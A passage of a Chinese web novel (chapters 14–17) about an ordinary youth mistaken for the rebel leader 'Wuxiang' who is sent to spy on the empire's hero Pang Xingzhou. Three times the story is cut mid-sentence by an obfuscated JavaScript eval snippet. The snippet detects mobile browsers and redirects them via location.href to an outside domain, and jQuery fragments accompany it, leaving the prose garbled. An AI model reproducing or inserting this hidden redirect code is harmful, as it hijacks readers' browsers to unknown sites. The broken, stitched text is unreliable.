加卡托兰的人你看看我,我看看你,上了草原的,除了之前被追上的,居然真的没有一个人死在这处裂缝之下。
更别说,这处巨大的裂缝,竟然正好隔开了帝国军与加卡托兰的成员!
这仿佛一个预示,一个暗号,一个奖励。某种情绪在暗处积累,很快突破限制,迸发出来。
“天佑加卡托兰,天佑无相大人!”
第一声呼喊不知道从何而来,但当它响起,便有许许多多回音响起。
绝处逢生,近乎奇迹。他们心潮澎湃、情难自已,嘶哑着残破的嗓子怒吼。
“天佑加卡托兰,天佑无相大人!”
“天佑加卡托兰,天佑无相大人!”
帝国军那一方本就死里逃生,惊魂未定,被越不过去的深渊吓破了胆,加卡托兰的人这番群情激奋,斗志高昂,更是惊得他们连斗志也丢了个干净。
现在没有转身就跑,还是迫于主将威压,实则有不少人已经在偷瞄退路了。
“将军,您看这……”副将面露难色,他也是差点摔死在裂缝里的人,此刻与其他士兵感同身受。
军心涣散,这一仗很难打下去了。
庞吏神色阴沉,他盯着那道横亘面前的天堑,将下属们恹恹的状态看在眼里,咬了咬牙,吐出了一句,“撤退!”
大好的形势,居然这样莫名其妙输了!居然这样!
可人能与人斗,人怎么能和天斗,怎么和天灾斗!
帝国军撤退了,没有丢盔弃甲,也没有折戟沉沙,却仿佛丢了什么在那黑漆漆的裂缝中。
加卡托兰一方爆发出更加激励的欢呼,甚至有人试图隔着巨大的裂缝放冷枪,要不是被同伴拦住,估计又得引发一场战斗。可见其气焰嚣张。
临走最后一眼,庞吏鬼使神差转头,望向了左侧高坡。
那里,除了一个炼金术师,还站着一个居高临下的身影。对方一如既往保持着该死的神秘主义,全身裹在宽大的黑袍里,袍角如翻滚不休的乌云,傲慢地笼罩在他们之上。
即使没有出声,但被敌方首领目睹这般狼狈可笑的姿态,庞吏几乎能想象那人发出的不屑冷笑。
“无相……”他低声念出这个叫人咬牙切齿的名字,“这一切……也在你的计划之内吗?”
此时此刻,山坡上也有人问出了同样的问题。
“无相大人,这才是您真正的计划吗?”
乌镶月:……我说不是你信吗?
14.第 14 章
乌镶月不明白。
这种事,这种地面忽然崩裂出巨大缝隙,正好阻拦敌军的事情,怎么想也不可能是人为的吧?
是个人都知道这不可能,顶多是巧合,是意外,是偶然,绝不是所谓的无相大人神力所为。
可整个加卡托兰的人,都认为这很合理。
“不愧是无相大人,果然深谋远虑。”颜诡那双狐狸眼里第一次出现了赞赏的情绪,“在下甘拜下风。”
“无相大人总能给出出乎意料的解决方式。”摩菲·戈尔德说。
季星·戴纳点头:“确实很厉害。”
乌镶月听着他们返程路上的对话,总觉得要是他们有所谓的忠诚度,这个时候可能默默地提升了一点。
这算不算一种好事?
他不知道,他只知道,他确实不小心让无相的身份朝着一个奇怪的方向前进了。
跨入加卡托兰大本营前,一路上听来的对话叫人心情复杂。
“我早就知道,无相大人不会单纯让我们逃跑,他早就预设好了退路,要打帝国军一个措手不及!”
“但是为什么一开始不和我们说……?”
“当然是因为这种机密,如果传出去被间谍知道了,不就没办法引他们中计了吗!”
“原来如此!无相大人真是神机妙算,老谋深算,老奸巨猾!”
“后面那个词是不是哪里不对?”
甚至有人宣扬起宗教理论,“无相大人是神!只有神才能一句话降下天罚!”
可怕的是,真有人赞成这人胡说八道的宗教言论,纷纷出言说要成立一个内部的宗教,将无相大人的一举一动全部宣扬出去。
成为无相以来,乌镶月第一次得到了前所未有的热烈迎接。
他听着窗外成片的吹捧抬举,有一瞬间确实感觉脚步虚浮,走路在飘。似乎这些荣誉与赞美,真的属于他。
直到发现一群人跟在他后面,想捡走一根他掉下来的头发的时候。
乌镶月:“……”
那群人:“额,无相大人,听我们解释,其实……我们只会把它当做传家宝,不会做别的事,真的。”
他当即甩袖而去,只是速度堪比落荒而逃。
太离谱了,这都什么变/态。
“无相大人,接下来,我们还是要打守城战吗?”
又是新的议题。
乌镶月隔着黑袍,狠狠瞪了一眼坐在会议室末尾发呆一样的紫发男人。
如果不是这混蛋一直紧紧跟着他,他早就溜之大吉了,哪里还用在这里讨论新的议题,还被其他人当吉祥物一样试图捡他的头发,可恶!
“你的想法?”他用无相大人低沉的声音道。
扮演了这么几天,乌镶月也掌握了一点诀窍,比如被询问的时候不用立刻给出回答,抛出新的问题才能获得更多信息。
颜诡果然不疑有他,自动接话了。
“经过这次伏击战,帝国军的损失惨重,士气大跌,如果继续攻城,对方的消耗比我们大,我们守城就能保住底盘。但我提议在守城的基础上,再进行袭击行动。这样我方的胜算更大。”
意思是,守城加偷袭?
哇,不愧是阴险的狐狸眼,这计策不错,听上去很有搞头。
乌镶月刚想赞同他的主意,旁边红发青年凉凉开口了,“事情恐怕不会这么顺利哦,谋略家先生。”
谋略家先生拧眉,第一时间意识到了,“有什么新情况?”
摩菲·戈尔德椅子往后倒,脚搭在桌子上,慢悠悠扔出了一团纸,“自己看看。”
颜诡眼神犀利了起来,“你应该知道,这不是能拿坊间传闻开玩笑的场合吧。”
情报专家呵了一声,“我倒希望是坊间传闻。”
于是谋略家先生拿起了皱皱巴巴的纸团,打开扫了一眼,眉头凹得更深了。
“这是真的?”
“假的我当然开心。”
两人谜语一样的对话,引起了乌镶月的好奇。
到底是什么消息,能让他们一面较劲,一面还流露出忌惮?
在他犹豫要不要破坏形象,扭头去看那张皱巴巴的纸之前,颜诡非常上道地将纸拿过来了。
上面的字歪歪斜斜,笔画粘连,略显潦草,似乎是紧急情况下写出来的,可即使如此,那句话也非常清晰。
——逄星洲来了。
谁?逄、星、洲。
哦,逄星洲。
逄星洲!
乌镶月差点从椅子上摔下来。
幸好那点子理智还在,才将维持住了无相大人四平八稳的表象。
“这是真的?”不怪颜诡要问,他也忍不住问了一遍。
“嗯。”面对无相大人的问题,摩菲·戈尔德没有太过跳脱,只点了点头。
但这一点头,却让乌镶月的心沉了下去。
他不怀疑加卡托兰最著名的情报专家的能力,这个情报不可能是假的。所以逄星洲真的要来了。
如果询问帝国的一般民众,逄星洲何许人也,大概会得到一个奇怪的眼神,像是在看与世隔绝的野人。
整个拉加帝国或许不知道皇帝姓甚名谁,却绝不会不知道逄星洲是谁。
拉加帝国信仰圣铭教,圣铭教每隔五十年,会选择一位勇者,作为帝国最锋利的剑刃,保卫皇权统治。
这一代的勇者,名为逄星洲。
号称有史以来最为光辉正义、无私慷慨、英勇无畏的勇者。
关于他的传说众多,其中两个最为著名。其一说他从一个贫穷的小村庄走出,游历世界,并一路行善积德,比如砍碎一座冰山改变一座常年炽热的村庄,截断一条河流阻止了毁灭城市的洪流等等。为了表彰他的种种功勋,圣铭教才封他做勇者。
另一个则说他一出生,暴雨将歇,天出彩虹。偶然路过的圣铭教司教在彩虹尽头,找到了一个身披虹光的婴儿。这婴儿被带回去精心培养,长大后一路从帝国军的最底层做起,屡屡击退强敌,不断晋升,最终才有了声名显赫的勇者。
无论哪一个,都说明了这位勇者的意志之坚定,实力之高强,甚至还被神明眷顾。
简直是小说里标准的主角。
正因为有这样一个代表正义与光明的勇者作对比,乌镶月才一直坚定认为,作为反叛组织的加卡托兰,其实是遇上了主角团的反派组织。
可如今,主角要来攻打他们了!
完蛋,完蛋,完蛋!要不赶在他来之前,赶紧逃跑吧!
乌镶月完全没有做好面对勇者的准备。
但显然,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15900002|175778||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
其他人不这么认为。
“无相大人,我想了想,既然逄星洲要来,我们干脆让他走不出这座小城,以绝后患。”狗头军师积极献言,上来就是杀招。
不,你不想!那可是逄星洲!
他内心的尖叫没有传达出去,摩菲·戈尔德也跟着点头,“虽然我暂时没有什么对付逄星洲的办法,但无相大人的话,应该已经有了合适的计策了。”
才没有!别瞎说!
连不怎么主动献计的季星·戴纳也举手:“无相大人需要什么样的炼金武器,我可以帮忙提供。我也很好奇,怎样才能对那位勇者造成伤害。之前有传闻,他被足以炸死大象的炼金炸弹炸了一通,还毫发无损。”
还有这种传闻?不是,那种怪物你怎么还想着赢?该找逃走的方法才对!
乌镶月完全不明白,这三人到底是哪里来的底气,敢说要干掉逄星洲。难道因为他们是高层,属于高级反派,所以才比他这种只知道逃的小喽啰更猖狂更有胆量?
暂避锋芒不好吗,直接莽上去得不到好结果,只会得到好大一具尸体啊!
他心头梗塞,觉得自己如此格格不入,有心劝一劝,“我……”
一抬头,他才惊觉自己被莽汉三人的目光包围了。
颜诡、摩菲·戈尔德、季星·戴纳,他们不约而同用一种相似的目光盯着他。
为什么这么看着他?乌镶月心惊肉跳,试图分辨清楚那些情绪。
不是怀疑,不是轻视,不是审视……不是负面的情绪,还好还好,不是被拆穿,但,这怎么有点像,信任?
信任?
心绪平复又重新激荡,他重复了一遍这个词,几乎一瞬就认定这是判断出错。
按之前的接触来看,他们可能提防他,可能厌恶他,可能试探他,怎么可能信任他?明明之前这三人一个比一个不做人,天天搞得他神经敏感的。
“无相大人真的太厉害了,听说只是看了一眼就做出了决断,然后……”
窗外的赞颂声没有停歇,隔着一面墙,也能听见外头人大夸特夸那道突然出现的巨大裂缝,那场不费一兵一卒就击退敌军的反败为胜。无数溢美之词似乎要填满空气,透入每个人的呼吸起伏中。
乌镶月一瞬心脏震颤,指尖发麻,恍惚得到了答案。
……原来如此。
他们的底气和勇气,是无相大人。
他缓慢吐出一口气。
也就是——我啊。
这组织……药丸了吧。
在三位七星期待的目光里,几个呼吸后,无法被窥见神色的无相大人似乎终于有了想法。
他一手撑住桌子,轻轻开口。
“来聊一聊,该怎么杀死一位勇者吧。”
那语气低沉得彷如死神的吐息,冷淡中透着了无生趣的倦怠。
似乎根本没有把区区勇者放在眼里,似乎只是一时心血来潮的游戏,又似乎是神明对凡人无谓的注视。
其中充斥的强大与淡漠,简直叫人浑身战栗。
提出建议的三人,某一瞬间都感觉指尖触电,头皮发麻,兴奋得恨不得马上冲出去,打爆勇者的头。
“不愧是……”
偌大的会议室,不知是谁,轻声感慨了一句,又很快将后半句吞没齿间。
15.第 15 章
一个星期前,如果告诉乌镶月,他将会冲在干掉勇者的第一线,他一定当场啐一口到对方脸上,边揍边骂他是个死骗子。
但一个星期后,乌镶月坐在反派中间,假装自己真的想干掉勇者。
嗯,人为了活命真是什么话都敢说。
“帝国的勇者虽然强大,但并非没有被杀死的例子。”
作为情报专家,针对杀死勇者行动,摩菲·戈尔德率先给出了足以支撑行动的数据,“第三勇者,第七勇者都死于暗杀。”
颜诡读出他的言下之意,皱了皱眉,“你想建议暗杀行动?可有过勇者死于暗杀的例子,帝国那边肯定会对此严加防范,如果冒然行动,反而会打草惊蛇。”
“这种程度的问题,我当然想到了。我会提出这个计划,自然是因为有可实施性。”
“比如?”
“我掌握了他的弱点。”
红发绿眼的青年依靠在椅子上笑了笑,手上不知何时多了一枚硬币。那枚硬币在指尖来回跃动,随后高高跳起,“啪”一声,被按在了桌子上。
“逄星洲,帝国的第十三位勇者,实力高强,足智多谋,声名显赫,各方面都趋于完美……唯独一点——他永远不会拒绝需要帮助的人。”
不会拒绝需要帮助的人?不就是单纯的老好人?这算什么弱点。
乌镶月想不出来要怎么从这个弱点出发干掉勇者。
情报专家却莫名望了过来,那视线看得他浑身发毛,很想紧急把屁股从椅子上挪开,逃离这个是非之地。
可惜在他做出行动前,红发青年笑吟吟伸出一根手指,将那枚硬币推向他。
“无相大人,这次的计划,如果只凭我们绝对无法完成……希望能仰仗您的光辉了。”
乌镶月微微睁大眼。
硬币背面朝上,边缘泛起些许光亮,正中心的图案印着,一个弯弯的月亮。
*
乌镶月火急火燎地往回赶。
他沉着脸,神色严肃,一路连跑带喘,一分一秒都不愿意停下。不知道的,还以为他屁股后面有恶狗在追。
事实也差不了多少。
黑发少年终于跑到了住宿楼下,忽视聚在大厅叽叽喳喳的人群,噔噔噔冲上自己的房间,不到一分钟就揣着个布包噔噔噔跑了下来,连口气都不带喘的,又要往外跑。
“这是怎么了?”大厅里聊天的汤姆张望了一眼,眯了眯眼,“嗯……我似乎嗅到了八卦的味道。”
没等他找个由头搭话,一股无人可挡气势的黑发少年,刚迈出大门口,猛地停住了。
·好像看见了什么极为厌恶的东西,他的表情一下子阴沉得能滴出墨来。
汤姆还是第一次从这个除了外貌以外非常不显眼的少年身上,看到类似杀气的感觉。
他更加好奇了,不禁起身,想要凑过去看一眼。其他人也蠢蠢欲动。
但这次,乌镶月似乎察觉到了他们的举动,猛地扭头,看向他们。
汤姆一惊,咧开笑容,想要辩解几句。
但对上那眼神的瞬间,笑意就卡在了脸上。
他僵着身体,不敢再进一步。其他人也都没了动作,好似被石化,全都眼睁睁看着对方快速离开。
直到黑发少年的气息远去,汤姆才惊魂未定地打了个寒颤。
怎么回事?
那不是个普通到身上没有任何值得探究的秘密的少年吗?
可是,可是,汤姆咽了口口水,不敢细细回想。
为什么那一眼,那一眼……就好像上面那些生杀予夺的大人物一样。
乌镶月……到底发生了什么?
到底发生了什么?乌镶月也在想这个问题。
他不明白,怎么好端端的,他就从只需要动动嘴皮子的无相大人,沦落到如今的地步了?
“你要去哪呀?”罪魁魁首东张西望,不紧不慢跟着他,“再远一点,都快出城了吧?这个节骨眼,你要出去吗?”
话里话外意有所指,听得他一阵来气,偏偏又不好说些什么。
“摩菲大人。”他咬牙切齿地念,“我去哪里是我的自由。您如果很闲的话,不如找份新工作吧?”
摩菲·戈尔德一摊手,叹了口气,“我倒是也想。可惜,最新的工作还没有完成呢。”
“那您请尽快去完成新工作吧,四处闲逛工作可不会自动完成。”
“是啊,我也这么觉得。所以……我才来找你了啊。”
红发青年拦在面前,垂下的绿眸里带了点飘忽的笑意,分不出真假。
来了!乌镶月心头一跳,知道这事躲不过去了。
“你什么意思?”
“你应该知道我的意思,不然不会这么快收拾了家当,急急忙忙想要出城。”
绕圈子被反绕回来,他鼓鼓腮帮子,更加气闷了。
他收拾东西是为了远离这块是非之地,而不是自投罗网,去干那劳什子间谍!
是了,这就是在会议上,摩菲·戈尔德提议的计划。
用一个有能力的间谍,打入敌方阵营,换取刺杀时机。
而被选中的人才,不幸正是某位在情报专家这里留下过姓名的,无相大人的暗桩。
摩菲·戈尔德见他不说话,话锋一变,“你在生气吗?但你的无相大人也同意了。而且我听说你需要钱,如果能够顺利完成这次的任务,你能得到的报酬,可是近乎十倍的工资哦。”
这是钱的问题吗?!这是没命花的问题!
乌镶月压根不想答应这个计划,可会议上,颜诡和摩菲·戈尔德左分析一句利弊,右分析一句危害,说来说去,人选还非变成了非无相大人手下的暗桩不可了。
可这个暗桩根本是他杜撰出来的,说到底,还是要他亲身上阵。
“这么好的事,你怎么不亲自去!”
“我也想去啊,这可是能一下子得到大量情报的机会。”摩菲·戈尔德指了指自己的脸,似乎忧愁地叹了口气,“可惜我的这张俊脸,是过不了检查那关的。”
说着他眨眨眼,指了指乌镶月,“但你不一样。”
“哪里不一样!”乌镶月根本不觉得自己非得做这个冤大头。
“你是无相大人的暗桩,身份隐蔽,能力又足够
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15907935|175778||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,更何况你的话……稍微扮一下可怜,就会惹人同情。”就差说是完美人选了。
乌镶月磨了磨牙。这算什么!除了脸,其他都是假的!
说到这,摩菲·戈尔德猛地一锤手心,“哦对了,忘了说。除了钱以外,还有一栋独立住宅和全国著名甜品店的一百张免费畅吃券。”
“区区这点好处……”
“还会提升你的职位,让你直接跳三级当分队长官哦。”
乌镶月沉默。
乌镶月思考。
乌镶月沉痛地点了点头。
“好,干了。”
区区间谍,不死就赢一半了!
配合的前提下,不得不说,摩菲·戈尔德是一位优秀的合作者。
乌镶月前脚刚答应,摩菲后脚就领着他去了组织的安全屋,拿出一个严严实实的袋子塞了过来,“我想你会需要这些东西的。”
对方有前科,乌镶月一开始还颇为警惕,随便一扫,就被里面的内容物惊到了。
不仅有帝国军驻扎地的地址、将帅资料名单,他伪装需要的新身份信息、证件,与组织的暗线联络方式,紧急情况的各种求助办法,还有一些别的没看到的资料在后面。
光从这些东西上,就能看出来考虑得多周全了。
但是……
“怎么没有逄星洲的资料?”最关键人物的居然没有?
“不是我不想给你。”说起这个,摩菲·戈尔德双手一摊,难得露出了无奈的表情,“关于那位勇者大人,真真假假,互相矛盾的信息太多了。如果不小心给了你假资料,反而不利于你的潜伏计划,所以干脆没有啦。”
他眯了眯眼,“既然假消息这么多,你怎么知道逄星洲的弱点的?”
“这个嘛,”红发青年竖起一根手指,抵在嘴唇上,“就是我的独家秘密了。”
乌镶月被他恶意卖萌的行为恶心了一下,嫌弃地转头,“装什么啊,藏得这么严实,我怎么知道你是不是骗我。”
摩菲·戈尔德微笑:“不必担心。等你见到他,自然能理解为什么我说这是他的弱点了。”
乌镶月还是不信。
但箭在弦上不得不发,他在安全屋待了一天,把重要情报背下来了,就包袱款款,准备去当一当这个间谍了。
临走前,一天不见踪影的红发青年跑来送他。
“时间紧迫,你只有两天时间,如果行动失败,就联系暗线撤退。”
乌镶月点头。
之前的行动里,帝国军损失惨重,军心涣散。逄星洲的到来提升了士气,但帝国那边还需要调兵遣将,行军速度和修整时间加起来,留给他的时间,最多只有两天。
两天后,逄星洲一定会携着大军,攻打加卡托兰。
“不必担心。”不知道看着他沉默的样子脑补了什么,摩菲·戈尔德忽然安慰了一句,“等你回来了,我请你吃帝国最好吃的餐厅。”
乌镶月神色一肃:“一言为定!”
“哈哈,当然。我会期待的。”情报专家的话语飘散的风声中,“所以,你要努力才行啊……起码,不要轻易死了。”
16.第 16 章
接近逄星洲的计划是颜诡制定的。
说实话,那个计划非常……愚蠢。
乌镶月第一次看的时候,还以为颜诡的计划被掉包了,反复问了两遍才确定,这真是那个谋略家写的。
鉴于对己方高层信任,他还是穿上了特别准备的行头——指头发乱蓬蓬脸上沾着污泥,破破烂烂沾着血迹的衣裤,瑟瑟发抖地缩在前往帝国军驻扎地的大路旁。
情报上说,这两天逄星洲主动担任护卫,运输军需物资,算算时间,差不多是这个时候。
乌镶月回顾了一遍计划,将身体蜷缩得更紧了一点,但冷风还是轻易钻入他的袖管,吹得他浑身哆嗦,唇齿发颤。
垃圾摩菲,垃圾计划,哦还有颜诡,失败了他回去要让颜诡重写百八十遍计划书!
加卡托兰中还在修计划书的颜诡:……阿秋!
在对某位谋略家的无声咒骂中,远处传来的咯吱咯吱声显得如此悦耳。
运输车!乌镶月竖起耳朵,估算着距离,掏出一把纤薄的刀片,狠狠心,快速在大腿上割了一刀。
血液立即涌出,滴落入地面,他白了脸色,咬着牙,将刀片埋入挖好的小坑里,又拿石头压住,这才抽出布条草草包扎了下伤口。
做完这一切,他迅速低头,又缩成了一个黑乎乎的球,假装自己是一块路边石头。
接下来,就是等。
运输车咯吱咯吱,马蹄踏踏踏,厚重的车轮很快出现在视线里。
乌镶月维持着蜷缩的姿态,在狭窄的视野里默默数。
第一辆过去了,第二辆过去了……第六辆过去了……没有一辆车停留。
果然,这个计策根本行不通。
乌镶月暗自松口气,准备收拾收拾回去找岔,最后一辆的咯吱声忽然没了。
——第七辆车,停在了他面前。
咦?
骏马嘶鸣,有人低声说了什么,然后,一双银亮的铁靴子走过来,淡色的影子落在他身前。
“你还好吗?”一道让人联想到清风拂过水面的柔缓男声,从头顶响了起来。
真有人吃这套?乌镶月握紧手心,将头埋得更深。
对方很有耐心,半跪下来,“别害怕,我不会伤害你的。”
话说到这里,乌镶月照正常反应,顿了一下,小心翼翼抬头看了一眼。
这一眼,就一下子撞入一片澄澈的冰蓝色中。
来者看上去符合童话里对勇者的一切定义。
灿金的长发、澄澈的蓝眸,银亮的甲胄配着长剑。
清晨的阳光都额外眷顾他,洋洋洒洒落了半边光芒,一个劲描摹他眉眼的俊美轮廓,与神色间挥之不去的怜悯。
往那里一站,就是世人眼里的好人圣人完人。
乌镶月下意识拿七星对比,阴险狡诈的狐狸眼,似笑非笑的情报贩子,脑子有病的炼金术师……很好,前途更加黑暗了。
“我、我没事。”但戏还是得演。
“你看上去需要帮助。”
金发骑士盯向了他潦草包扎的伤口,微蹙眉头,伸出了一只手,“还能站起来吗?”
这只手被包裹在黑色的护手里,看上去宽大而有力,能轻易握住一柄剑,打碎厚重的砖石,也能击退来犯的敌人。这是战士、勇士会有的手。
乌镶月对这类强壮的人有些许抗拒,总觉得一下子就会被逮住,跑都跑不掉,“谢谢你,但我不需要。”
金发骑士盯着他的眼神愈发不赞同,又说,“这里附近有山林,还经常刮风,在这种天气,受了这样的伤,你独自一人会引来野兽。”
“我知道。”他兢兢业业演着欲拒还迎,“但我有自保的力量,所以没关系的。”
“继续下去,你不止会受伤,还会死。这不是没关系的事。”
“可是……”
这次没等他说完,金发骑士像是再也无法忍耐下去,低声说了一句“失礼”,然后手臂一伸,腰部发力,陡然将他整个人抱了起来!
——以一种抱小孩的方式。
“!!”黑发少年惊愕之余,脸色唰地从耳朵红到了脖子根,整个人也僵硬在勇者的怀里,像一块沉甸甸的石块。
“别担心。”金发骑士对他这块石块倒是语气亲切,“我会帮助你的。”
谁叫你这么帮人的??
乌镶月埋着头咬牙切齿,竭力忍耐从嘴里差点喷涌而出的脏话,只发出了一声柔弱可怜的鼻音。
“……嗯。”
……一世英名尽毁。
直到坐在摇摇晃晃的运输车上,听见那人真的叫做逄星洲,得到对方赠送的衣服,乌镶月脸上的红色还迟迟未退。
“怎么了吗?”逄星洲拿着绷带和药膏,手法娴熟地处理了他的伤,比他之前草草包扎好了不知道多少,此刻,又神色忧郁地望过来,“还有哪里不舒服吗?”
乌镶月心里将他狠狠骂了一遍,面上遵守人设,“我没事了……”
还没说完,旁边人就凉凉开口。
“就那么一点伤,却弄得浑身是血,比起他,更该担心那些血的主人吧。”
乌镶月眸光微闪,没有立刻反驳,倒不是他没有准备话术,而是他知道这个人——在资料上。
传统的勇者小队通常会有三人,一个正义友好,一个冷漠沉稳,一个幽默不羁。如果说逄星洲担任的是领导者,拥有正义友好的特质,那么,旁边这个叫做巫庚的黑发男人,就是冷漠的那个。
从他上车开始,巫庚的表情就不太好,看他的眼神像是在看一只披着羊皮的狼。如果不是逄星洲在场,估计能直接把他踹下去。
“别这样,阿庚。”逄星洲叹了口气,一脸不赞同,“他还是个孩子呢,不一定明白发生了什么。”
已经成年的乌镶月默默咬牙,还是装出支支吾吾的样子开了口。
“其实……”
他快速把那套“失踪的父亲,病故的母亲,破碎的他”的说辞搬了上来,顺便解释了血是母亲身上的,他没有杀人。
不知道是谁想出来的背景,他自己都觉得扯,越说越心虚,越说越慢,最后收声才敢瞟一眼其他人的表情。
这段说辞只是为了打消怀疑,能稍微有个效果就谢天谢地了。
谁知逄星洲眼睫颤动,眼里似有水光,唇线抿成一条,宽厚的手掌搭上了他的头发,轻声道:“你很努力了,抱歉,没能在那个时候遇见你。以后有我在,无论什么时候,我都会帮助你。”
连一直臭着脸的巫庚,都啧了一声,扭过脸,“你可别把话说得太满了,你有空还不知道得等什么时候,不如教他怎么自力更生。”
乌镶月瞳孔地震,一瞬间升起了要不干脆投敌吧的想法,但他现在可不止是乌镶月,还是无相大人的暗桩,被查出来肯定活不下去啊。
表现在外界看来,就是诉说了自己悲惨过去的少年沉默了好一会,将脸埋在了胳膊里,几乎让人以为他偷偷在哭的时候,才吐出了一句。
“……谢谢。”好险,敌人可怕如斯,他差点投敌了!
逄星洲和巫庚对视一眼,都在对方的眼底看出了一丝笑意。
在他们眼中,黑发少年身形瘦小,蜷缩在宽大的衣服里,似乎一阵风就能吹跑,不太像经过专业训练的人。
而诉说那些灰暗过去时,他每说一句就会停顿一下,语气平静异常,好似在说别人的事。
如果不是那些微颤抖的音调,指尖攥紧泛出异常的红,恐怕很难发现对方隐藏的逞强。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15915012|175778||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
这些掩饰不到家的地方,才更加让人觉得他的无辜与可怜。
被认为可怜的乌镶月,借着勇者大人的名声,成功混入了帝国军驻扎地。
意料外完成了计划的第一步。
但第二步就卡住了。
即使是勇者,也不可能会时时刻刻照顾一个捡来的倒霉少年。在运输车上的接触,就是他们最为接近彼此的时刻。
等回到帝国军驻扎地,逄星洲和巫庚马不停蹄,再度投入到了处理军队事务中。当然,他们没忘了找个和善的老军医,拜托他照顾一下捡来的乌镶月。
“等你伤好了,想要去哪里都可以。”似乎是怕他拒绝,逄星洲临走前还许下承诺,“我也会再来看你,希望你更加重视自己的身体,不要再……受伤了。”
乌镶月挽留的话一卡,逄星洲看出来他的伤口是自己造成的了!
没等他绞尽脑汁想借口,帐篷外的巫庚皱眉望过来,“我们该走了,星洲,庞吏还在等我们。”
“好。”逄星洲朝黑发少年安抚一笑,就大步走了出去,完全不对背后人设防。
乌镶月额头却渗出一层冷汗,他不知道自己从哪里开始被看穿,也不知道被看穿了多少,这时候又有了逃跑的冲动。
“好了,孩子,跟我来吧。”
一旁的老军医似乎没听懂他们一番话里的机锋,给乌镶月开了药,又去接待其他来看病的人,继续开药做药看诊,忙中有序,一步不乱,好像即使被拜托了额外的事,也不会干扰他原本的工作。
在他的沉稳中,乌镶月也跟着冷静了下来。
算了,如果真出问题了,看逄星洲的样子,还不一定会杀了他,而且要是看出来他的目的,就不应该把他放在这里,早该投入大牢了。
当务之急,还是想想办法,怎么完成计划。
他借着上厕所的借口悄悄转了一圈,搞清楚了驻扎地的大致情况。当然,正常来说这样做肯定会被怀疑,好在他有逄星洲担保,即使其他人盘问他,问到逄星洲也就不会再问。
勇者的名头真好用啊.jpg
驻扎地里最大的那一顶帐篷,是藏着许多机密情报的主帅营,逄星洲和巫庚以及率军的庞吏都在里面商讨军事。如果能潜入进去,这趟即使无法完成刺杀,也算有所交代。
乌镶月琢磨着怎么引开周围密不透风的守卫,再想办法混进去,正好有一只鸟慢悠悠飞过主帅营。
眨眼,只是一眨眼,红光突现,它就成了个筛子,啪叽掉落在地。
一个士兵一脸不爽,拎起那只筛子鸟,娴熟地扔到了垃圾堆,“又一只,真麻烦。”
黑发少年吞了口口水,移开了视线,假装自己是无意路过的路人甲,头也不回地溜回了老军医的地盘。
嗯,潜入是不可能潜入的,两天时间,真的无相大人来了也做不到,还是想想别的办法吧。
火烧粮草?他会先死吧。
谎报军情?还是死啊。
那直接刺杀?肯定死啊,不对,怎么都是死啊。
乱七八糟的念头跳来跳去,乌镶月拽不出特别有用的,只能想出关于自己的百八十种死法。
老军医见他一直盯着自己,在各种药水间鼓捣的动作一停,忽然拿了一本书过来,递到他面前,“看看吧。”
一本药材学书籍,显然是学习医术的基础。
乌镶月一愣,看着老军医的神色,意识到他可能误会了什么,但依旧乖巧接下了,“谢谢您。”
书是好东西,说不定能从中找到能毒到一整个帝国军的办法,不过这里有经验丰富的军医,用毒大概行不通吧。
在指尖翻到某一页时,他漫不经心的目光顿住了。
咦?这个办法好像……
17.第 17 章
乌镶月半夜睡眼惺忪爬起来,偷偷摸摸绕过帝国军的巡查路线,溜了出去。
白天他就发出了联络暗线的信号。为了降低危险,他定下的接头时间是半夜,地点离帝国军驻扎地不远,足够他赶在巡查人员发现前返回。
唯一让他比较好奇的是,接头的暗线会是谁。
毕竟能潜伏在帝国军里,躲过主角团视线,安然无恙的人才,他还是蛮佩服的。
如此想着,可他远远望见那棵约定的树时,还没看见人影。
难道是还没到?这种时候还迟到,一点时间观念都没有,这届暗线实力真是太……
“大人,有何吩咐。”
一个声音忽然出现在耳边,吓得黑发少年浑身一抖,差点条件反射把刀捅出去了。
“你、你什么人。”
等他冷静下来,定睛一看,居然有个人在树枝上!
对方一身深褐色衣服,全身都裹得严严实实,胳膊绑了树枝,唯一露出的眼睛,眼皮上还涂了一层黑色,整个人几乎与这棵树融为一体。如果不是他出声,乌镶月甚至连对方的气息都没发现。
“在下是情报组特派员,也就是组织暗线。您可以称呼我为七幺幺。”
“七幺幺?”
好怪的名字,但现在不是说这个的时候,乌镶月将手中准备好的字条递过去,“时间紧急,我需要你做两件事,一是立刻把这个交给季星·戴纳,二是明天傍晚时分来绑架我。”
“绑架?”七幺幺平静的语气一顿,有了些许起伏,“大人,我没有绑架的经验,是否需要请求其他组织成员来执行?”
乌镶月一挥手,“没关系,你按照我给的路线实施就可以了,至于别的……”
